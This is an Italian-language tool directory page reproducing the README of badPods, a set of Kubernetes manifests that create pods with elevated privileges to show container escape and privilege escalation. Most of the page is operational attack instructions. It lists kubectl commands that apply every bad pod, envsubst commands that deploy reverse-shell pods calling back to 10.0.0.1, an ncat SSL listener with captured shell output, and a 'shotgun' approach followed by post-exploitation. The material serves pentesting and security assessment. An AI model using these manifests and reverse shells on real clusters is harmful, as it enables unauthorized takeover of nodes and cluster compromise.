Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
badPods — Una raccolta di manifest che creerà pod con privilegi elevati. | Kitploit
Strumenti/GitHubGitHub/bishopfox/badpods
Escalation di PrivilegiSicurezza dei ContenitoriExploitPenetration TestingSicurezza CloudConfigurazione ErrataEscape dal Container
GitHubbishopfox/badpods

badPods

Una raccolta di manifest che creerà pod con privilegi elevati.

Vedi Repository
7061187 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

Bad Pods

Una raccolta di manifest che creano pod con diversi privilegi elevati. Dimostra rapidamente l'impatto del consentire attributi dei pod sensibili per la sicurezza come hostNetwork, hostPID, hostPath, hostIPC e privileged.

Per ulteriori informazioni, consulta il nostro post del blog: Bad Pods: Kubernetes Pod Privilege Escalation.

Contenuti

  • La line-up dei Bad Pods
  • Prerequisiti
  • Organizzazione
  • Utilizzo
    • Approccio di alto livello
    • Esempi di utilizzo
      • Creare tutti e otto i Bad Pod dal repository locale clonato
      • Creare tutti e otto i Bad Pod da GitHub
      • Creare tutti e otto i Bad Pod con reverse shell
      • Creare tutti e otto i tipi di risorsa utilizzando il pod everything-allowed
      • Creare un cronjob con il pod hostNetwork
      • Creare un deployment con il pod priv-and-hostpid
      • Creare una reverse shell utilizzando il pod privileged
  • Riconoscimenti
  • Riferimenti e letture consigliate

La line-up dei Bad Pods

Ogni link di seguito fornisce informazioni dettagliate sull'utilizzo e raccomandazioni per la post-exploitation.

  • Bad Pod #1: Everything allowed
  • Bad Pod #2: Privileged and hostPid
  • Bad Pod #3: Privileged only
  • Bad Pod #4: hostPath only
  • Bad Pod #5: hostPid only
  • Bad Pod #6: hostNetwork only
  • Bad Pod #7: hostIPC only
  • Bad Pod #8: Nothing allowed

Per informazioni più generali su prerequisiti, organizzazione del repository e modelli di utilizzo comuni, consulta le sezioni sottostanti.

Prerequisiti

  1. Accesso a un cluster
  2. Permesso RBAC per creare uno dei seguenti tipi di risorsa in almeno un namespace:
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. Permesso RBAC per eseguire l'exec nei pod o una network policy che consenta a una reverse shell di raggiungerti da un pod.
  4. Nessuna pod security policy applicata, oppure una policy che consenta di creare pod con uno o più attributi sensibili per la sicurezza

Organizzazione

  • 128 manifest autonomi e pronti all'uso. Perché così tanti?
    • 8 Bad Pods (hostpid, hostnetwork, everything-allowed, ecc.)
    • 8 tipi di risorsa che possono creare pod (pod, deployment, replicaset, statefulset, ecc.)
    • 2 modi per accedere ai pod creati (exec e reverse shell)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

Ci sono otto modi per creare un pod

Come sottolinea Eviatar Gerzi (@g3rzi) nel post Eight Ways to Create a Pod, ci sono 8 diversi controller che possono creare un pod o un insieme di pod. Potresti non essere autorizzato a creare pod, ma forse puoi creare un altro tipo di risorsa che creerà uno o più pod. Per ogni tipo di badPod, sono disponibili manifest che corrispondono a tutti e otto i tipi di risorsa.

Ma aspetta, c'è di peggio! Oltre agli otto controller Kubernetes attuali che possono creare pod, esistono controller di terze parti che possono creare pod se vengono applicati al cluster. Tienili d'occhio esaminando kubectl api-resources.

Reverse shell

Sebbene comune, non è sempre possibile eseguire l'exec nei pod che puoi creare. Per aiutare in queste situazioni, è inclusa una versione di ciascun manifest che utilizza l'immagine Docker Hub ncat di Rory McCune (@raesene). Una volta creato, il pod effettuerà una chiamata criptata verso il tuo listener.

Utilizzo

Ogni risorsa nella directory manifests punta a un attributo specifico o a una combinazione di attributi che, quando consentiti, espongono il cluster a rischi.

Approccio di alto livello

Opzione 1: Approccio metodico

  1. Valuta RBAC - Determina quali tipi di risorsa puoi creare
  2. Valuta la Admission Policy - Determina quali Bad Pod sarai in grado di creare
  3. Crea le risorse - In base a ciò che è consentito, usa il tipo di badPod e il tipo di risorsa specifici e crea le tue risorse
  4. Post exploitation - Valuta i passaggi di post exploitation descritti nel README per quel tipo
    • Everything allowed
    • Privileged and hostPid
    • Privileged only
    • hostPath only
    • hostPid only
    • hostNetwork only
    • hostIPC only
    • Nothing allowed

Opzione 2: Approccio shotgun

  1. Crea le risorse - Inizia semplicemente ad applicare diversi manifest e osserva cosa funziona
    • Creare tutti e otto i Bad Pod da GitHub
    • Creare tutti e otto i tipi di risorsa utilizzando il pod everything-allowed
  2. Post exploitation - Per tutti i pod creati, valuta i passaggi di post exploitation descritti nel README per quel tipo
    • Everything allowed
    • Privileged and hostPid
    • Privileged only
    • hostPath only
    • hostPid only
    • hostNetwork only
    • hostIPC only
    • Nothing allowed

Esempi di utilizzo

  • Creare tutti e otto i Bad Pod dal repository locale clonato
  • Creare tutti e otto i Bad Pod da GitHub
  • Creare tutti e otto i Bad Pod con reverse shell
  • Creare tutti e otto i tipi di risorsa utilizzando il pod everything-allowed
  • Creare un cronjob con il pod hostNetwork
  • Creare un deployment con il pod priv-and-hostpid
  • Creare una reverse shell utilizzando il pod privileged

Creare tutti e otto i Bad Pod dal repository locale clonato

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Creare tutti e otto i Bad Pod da GitHub

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Creare tutti e otto i badPod con reverse shell

Per evitare di dover modificare ogni pod con il tuo host e la tua porta, puoi usare le variabili d'ambiente e il comando envsubst. Ricorda di avviare prima tutti i tuoi listener!

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

Creare un cronjob con il pod hostNetwork

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

Trova il pod creato

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

Esegui l'exec nel pod

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

Creare un deployment con il pod priv-and-hostpid

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

Trova il pod creato

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

Esegui l'exec nel pod

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

Creare tutti e otto i tipi di risorsa utilizzando il pod everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

Visualizza tutti i pod creati

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

Elimina tutte le risorse everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

Creare una reverse shell utilizzando il pod privileged

Configura il listener

root@kitploit:~
ncat --ssl -vlp 3116

Crea il pod dal file yaml locale senza modificarlo usando variabili d'ambiente e envsubst

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

Cattura la shell

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

Contributi

Pull request e segnalazioni di problemi (issues) sono benvenute.

Riconoscimenti

Grazie a Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi e Madhu Akula per aver condiviso pubblicamente così tante conoscenze sulla sicurezza offensiva di Kubernetes.

Riferimenti e letture consigliate

Ogni Bad Pod ha una propria sezione di riferimenti e letture consigliate, ma ecco alcune risorse più generali che ti aiuteranno a migliorare le tue competenze nella valutazione della sicurezza di Kubernetes e nei penetration test.

I nuovi arrivati - 2020

  • Container Security Site di @raesene
  • CloudSecDocs - Container Security di @lancinimarco
  • Risk8s Business: Risk Analysis of Kubernetes Clusters di @antitree
  • Compromising Kubernetes Cluster by Exploiting RBAC Permissions di @g3rzi - Talk / Slide
  • Command and KubeCTL: Real-World Kubernetes Security for Pentesters di @antitree - Talk / Blog
  • Kubernetes Goat di @madhuakula - Repo / Guida

I classici del 2019

  • Secure Kubernetes - KubeCon NA 2019 CTF di @tabbysable, @petermbenjamin, @jimmesta e @BradGeesaman
  • The Most Pointless Kubernetes Command Ever di @raesene
  • The Path Less Traveled: Abusing Kubernetes Defaults di @IanColdwater e @mauilion- Talk / Repository
  • Understanding Docker container escapes di @disconnect3d_pl
  • A Compendium of Container Escapes di @drraid e @0x7674
  • Attacking Kubernetes through Kubelet
Scarica lo strumento